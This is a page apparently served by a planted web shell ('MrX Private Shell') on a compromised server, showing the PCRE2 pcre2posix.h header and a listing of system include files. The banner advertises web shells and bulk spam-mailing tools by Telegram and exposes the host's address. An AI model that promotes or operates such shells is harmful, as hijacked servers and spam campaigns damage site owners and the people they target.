__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.92: ~ $
/*************************************************
*      Perl-Compatible Regular Expressions       *
*************************************************/

/* PCRE2 is a library of functions to support regular expressions whose syntax
and semantics are as close as possible to those of the Perl 5 language. This is
the public header file to be #included by applications that call PCRE2 via the
POSIX wrapper interface.

                       Written by Philip Hazel
     Original API code Copyright (c) 1997-2012 University of Cambridge
          New API code Copyright (c) 2016-2023 University of Cambridge

-----------------------------------------------------------------------------
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.

    * Neither the name of the University of Cambridge nor the names of its
      contributors may be used to endorse or promote products derived from
      this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
-----------------------------------------------------------------------------
*/

#ifndef PCRE2POSIX_H_IDEMPOTENT_GUARD
#define PCRE2POSIX_H_IDEMPOTENT_GUARD

/* Have to include stdlib.h in order to ensure that size_t is defined. */

#include <stdlib.h>

/* Allow for C++ users */

#ifdef __cplusplus
extern "C" {
#endif

/* Options, mostly defined by POSIX, but with some extras. */

#define REG_ICASE     0x0001  /* Maps to PCRE2_CASELESS */
#define REG_NEWLINE   0x0002  /* Maps to PCRE2_MULTILINE */
#define REG_NOTBOL    0x0004  /* Maps to PCRE2_NOTBOL */
#define REG_NOTEOL    0x0008  /* Maps to PCRE2_NOTEOL */
#define REG_DOTALL    0x0010  /* NOT defined by POSIX; maps to PCRE2_DOTALL */
#define REG_NOSUB     0x0020  /* Do not report what was matched */
#define REG_UTF       0x0040  /* NOT defined by POSIX; maps to PCRE2_UTF */
#define REG_STARTEND  0x0080  /* BSD feature: pass subject string by so,eo */
#define REG_NOTEMPTY  0x0100  /* NOT defined by POSIX; maps to PCRE2_NOTEMPTY */
#define REG_UNGREEDY  0x0200  /* NOT defined by POSIX; maps to PCRE2_UNGREEDY */
#define REG_UCP       0x0400  /* NOT defined by POSIX; maps to PCRE2_UCP */
#define REG_PEND      0x0800  /* GNU feature: pass end pattern by re_endp */
#define REG_NOSPEC    0x1000  /* Maps to PCRE2_LITERAL */

/* This is not used by PCRE2, but by defining it we make it easier
to slot PCRE2 into existing programs that make POSIX calls. */

#define REG_EXTENDED  0

/* Error values. Not all these are relevant or used by the wrapper. */

enum {
  REG_ASSERT = 1,  /* internal error ? */
  REG_BADBR,       /* invalid repeat counts in {} */
  REG_BADPAT,      /* pattern error */
  REG_BADRPT,      /* ? * + invalid */
  REG_EBRACE,      /* unbalanced {} */
  REG_EBRACK,      /* unbalanced [] */
  REG_ECOLLATE,    /* collation error - not relevant */
  REG_ECTYPE,      /* bad class */
  REG_EESCAPE,     /* bad escape sequence */
  REG_EMPTY,       /* empty expression */
  REG_EPAREN,      /* unbalanced () */
  REG_ERANGE,      /* bad range inside [] */
  REG_ESIZE,       /* expression too big */
  REG_ESPACE,      /* failed to get memory */
  REG_ESUBREG,     /* bad back reference */
  REG_INVARG,      /* bad argument */
  REG_NOMATCH      /* match failed */
};


/* The structure representing a compiled regular expression. It is also used
for passing the pattern end pointer when REG_PEND is set. */

typedef struct {
  void *re_pcre2_code;
  void *re_match_data;
  const char *re_endp;
  size_t re_nsub;
  size_t re_erroffset;
  int re_cflags;
} regex_t;

/* The structure in which a captured offset is returned. */

typedef int regoff_t;

typedef struct {
  regoff_t rm_so;
  regoff_t rm_eo;
} regmatch_t;

/* When compiling with the MSVC compiler, it is sometimes necessary to include
a "calling convention" before exported function names. (This is secondhand
information; I know nothing about MSVC myself). For example, something like

  void __cdecl function(....)

might be needed. In order to make this easy, all the exported functions have
PCRE2_CALL_CONVENTION just before their names. It is rarely needed; if not
set, we ensure here that it has no effect. */

#ifndef PCRE2_CALL_CONVENTION
#define PCRE2_CALL_CONVENTION
#endif

#ifndef PCRE2_EXPORT
#define PCRE2_EXPORT
#endif

/* When an application links to a PCRE2 DLL in Windows, the symbols that are
imported have to be identified as such. When building PCRE2, the appropriate
export settings are needed, and are set in pcre2posix.c before including this
file. */

/* By default, we use the standard "extern" declarations. */

#ifndef PCRE2POSIX_EXP_DECL
#  if defined(_WIN32) && defined(PCRE2POSIX_SHARED) && !defined(PCRE2_STATIC)
#    define PCRE2POSIX_EXP_DECL		extern __declspec(dllimport)
#    define PCRE2POSIX_EXP_DEFN		__declspec(dllimport)
#  else
#    define PCRE2POSIX_EXP_DECL		extern PCRE2_EXPORT
#    define PCRE2POSIX_EXP_DEFN
#  endif
#endif

/* The functions. The actual code is in functions with pcre2_xxx names for
uniqueness. POSIX names are provided as macros for API compatibility with POSIX
regex functions. It's done this way to ensure to they are always linked from
the PCRE2 library and not by accident from elsewhere (regex_t differs in size
elsewhere). */

PCRE2POSIX_EXP_DECL int PCRE2_CALL_CONVENTION pcre2_regcomp(regex_t *, const char *, int);
PCRE2POSIX_EXP_DECL int PCRE2_CALL_CONVENTION pcre2_regexec(const regex_t *, const char *, size_t,
                     regmatch_t *, int);
PCRE2POSIX_EXP_DECL size_t PCRE2_CALL_CONVENTION pcre2_regerror(int, const regex_t *, char *, size_t);
PCRE2POSIX_EXP_DECL void PCRE2_CALL_CONVENTION pcre2_regfree(regex_t *);

#define regcomp  pcre2_regcomp
#define regexec  pcre2_regexec
#define regerror pcre2_regerror
#define regfree  pcre2_regfree

/* Debian had a patch that used different names. These are now here to save
them having to maintain their own patch, but are not documented by PCRE2. */

#define PCRE2regcomp  pcre2_regcomp
#define PCRE2regexec  pcre2_regexec
#define PCRE2regerror pcre2_regerror
#define PCRE2regfree  pcre2_regfree

#ifdef __cplusplus
}   /* extern "C" */
#endif

#endif /* PCRE2POSIX_H_IDEMPOTENT_GUARD */

/* End of pcre2posix.h */

Filemanager

Name Type Size Permission Actions
GL Folder 0755
IMUDrivers Folder 0755
KHR Folder 0755
X11 Folder 0755
aarch64-linux-gnu Folder 0755
arm-linux-gnueabihf Folder 0755
arpa Folder 0755
asm-generic Folder 0755
c++ Folder 0755
cxl Folder 0755
drm Folder 0755
finclude Folder 0755
fwctl Folder 0755
gdb Folder 0755
geany Folder 0755
iproute2 Folder 0755
libxml2 Folder 0755
linux Folder 0755
misc Folder 0755
mtd Folder 0755
net Folder 0755
netash Folder 0755
netatalk Folder 0755
netax25 Folder 0755
neteconet Folder 0755
netinet Folder 0755
netipx Folder 0755
netiucv Folder 0755
netpacket Folder 0755
netrom Folder 0755
netrose Folder 0755
nfs Folder 0755
php Folder 0755
protocols Folder 0755
python3.13 Folder 0755
python3.13m Folder 0755
rdma Folder 0755
regulator Folder 0755
rpc Folder 0755
rpcsvc Folder 0755
scsi Folder 0755
selinux Folder 0755
sepol Folder 0755
sound Folder 0755
uuid Folder 0755
video Folder 0755
xcb Folder 0755
xen Folder 0755
RTFusion.h File 4.62 KB 0644
RTFusionKalman4.h File 3.39 KB 0644
RTFusionRTQF.h File 2.17 KB 0644
RTIMUAccelCal.h File 2.95 KB 0644
RTIMUCalDefs.h File 2.91 KB 0644
RTIMUHal.h File 4.31 KB 0644
RTIMULib.h File 1.88 KB 0644
RTIMULibDefs.h File 2.43 KB 0644
RTIMUMagCal.h File 4.02 KB 0644
RTIMUSettings.h File 17.23 KB 0644
RTMath.h File 6.74 KB 0644
aio.h File 7.57 KB 0644
aliases.h File 1.98 KB 0644
alloca.h File 1.17 KB 0644
ar.h File 1.69 KB 0644
argp.h File 24.95 KB 0644
argz.h File 5.91 KB 0644
assert.h File 4.99 KB 0644
augeas.h File 23.12 KB 0644
byteswap.h File 1.42 KB 0644
cifsidmap.h File 6 KB 0644
complex.h File 7.99 KB 0644
cpio.h File 2.21 KB 0644
crypt.h File 10.87 KB 0644
ctype.h File 10.71 KB 0644
dirent.h File 12.32 KB 0644
dlfcn.h File 8.38 KB 0644
elf.h File 191.5 KB 0644
endian.h File 2.25 KB 0644
envz.h File 2.8 KB 0644
err.h File 2.33 KB 0644
errno.h File 1.64 KB 0644
error.h File 2.37 KB 0644
execinfo.h File 1.49 KB 0644
expat.h File 43.09 KB 0644
expat_external.h File 5.89 KB 0644
fa.h File 12.36 KB 0644
fcntl.h File 11.15 KB 0644
features-time64.h File 1.5 KB 0644
features.h File 18.76 KB 0644
fenv.h File 5.65 KB 0644
fmtmsg.h File 3.16 KB 0644
fnmatch.h File 2.24 KB 0644
fstab.h File 3.04 KB 0644
fts.h File 9.37 KB 0644
ftw.h File 6.22 KB 0644
gawkapi.h File 40.72 KB 0644
gconv.h File 4.11 KB 0644
getopt.h File 1.43 KB 0644
glob.h File 7.14 KB 0644
gnu-versions.h File 2.29 KB 0644
gnumake.h File 2.84 KB 0644
grp.h File 6.69 KB 0644
gshadow.h File 4.58 KB 0644
iconv.h File 1.87 KB 0644
ifaddrs.h File 2.77 KB 0644
inttypes.h File 11.04 KB 0644
langinfo.h File 17.43 KB 0644
lastlog.h File 126 B 0644
libgen.h File 1.35 KB 0644
libintl.h File 4.47 KB 0644
limits.h File 5.57 KB 0644
link.h File 7.62 KB 0644
locale.h File 7.5 KB 0644
malloc.h File 5.84 KB 0644
math.h File 48.13 KB 0644
mcheck.h File 2.38 KB 0644
memory.h File 956 B 0644
mntent.h File 3.28 KB 0644
monetary.h File 1.92 KB 0644
mqueue.h File 4.47 KB 0644
netdb.h File 27.8 KB 0644
nl_types.h File 1.71 KB 0644
nss.h File 14.07 KB 0644
obstack.h File 20.81 KB 0644
paths.h File 2.91 KB 0644
pcmanfm-modules.h File 2.33 KB 0644
pcre2.h File 50.11 KB 0644
pcre2posix.h File 7.18 KB 0644
poll.h File 22 B 0644
printf.h File 6.71 KB 0644
proc_service.h File 3.4 KB 0644
pthread.h File 47.29 KB 0644
pty.h File 1.53 KB 0644
pwd.h File 6.17 KB 0644
re_comp.h File 963 B 0644
regex.h File 25.33 KB 0644
regexp.h File 1.35 KB 0644
resolv.h File 12.1 KB 0644
sched.h File 4.92 KB 0644
search.h File 5.32 KB 0644
semaphore.h File 3.39 KB 0644
setjmp.h File 3.12 KB 0644
sgtty.h File 1.31 KB 0644
shadow.h File 5.5 KB 0644
signal.h File 12.74 KB 0644
spawn.h File 8.19 KB 0644
stab.h File 264 B 0644
stdbit.h File 26.28 KB 0644
stdc-predef.h File 2.4 KB 0644
stdint.h File 7.96 KB 0644
stdio.h File 33.37 KB 0644
stdio_ext.h File 2.73 KB 0644
stdlib.h File 40.08 KB 0644
string.h File 19.5 KB 0644
strings.h File 4.64 KB 0644
sudo_plugin.h File 11.79 KB 0644
syscall.h File 25 B 0644
sysexits.h File 5.11 KB 0644
syslog.h File 24 B 0644
tar.h File 3.66 KB 0644
termio.h File 214 B 0644
termios.h File 3.51 KB 0644
tgmath.h File 47.64 KB 0644
thread_db.h File 15.65 KB 0644
threads.h File 7.63 KB 0644
time.h File 14.76 KB 0644
ttyent.h File 2.44 KB 0644
uchar.h File 3.04 KB 0644
ucontext.h File 1.99 KB 0644
ulimit.h File 1.55 KB 0644
unistd.h File 44 KB 0644
utime.h File 1.87 KB 0644
utmp.h File 3.15 KB 0644
utmpx.h File 4 KB 0644
values.h File 1.91 KB 0644
wait.h File 22 B 0644
wchar.h File 38.19 KB 0644
wctype.h File 5.42 KB 0644
wordexp.h File 2.44 KB 0644
zconf.h File 16.08 KB 0644
zlib.h File 94.56 KB 0644
Filemanager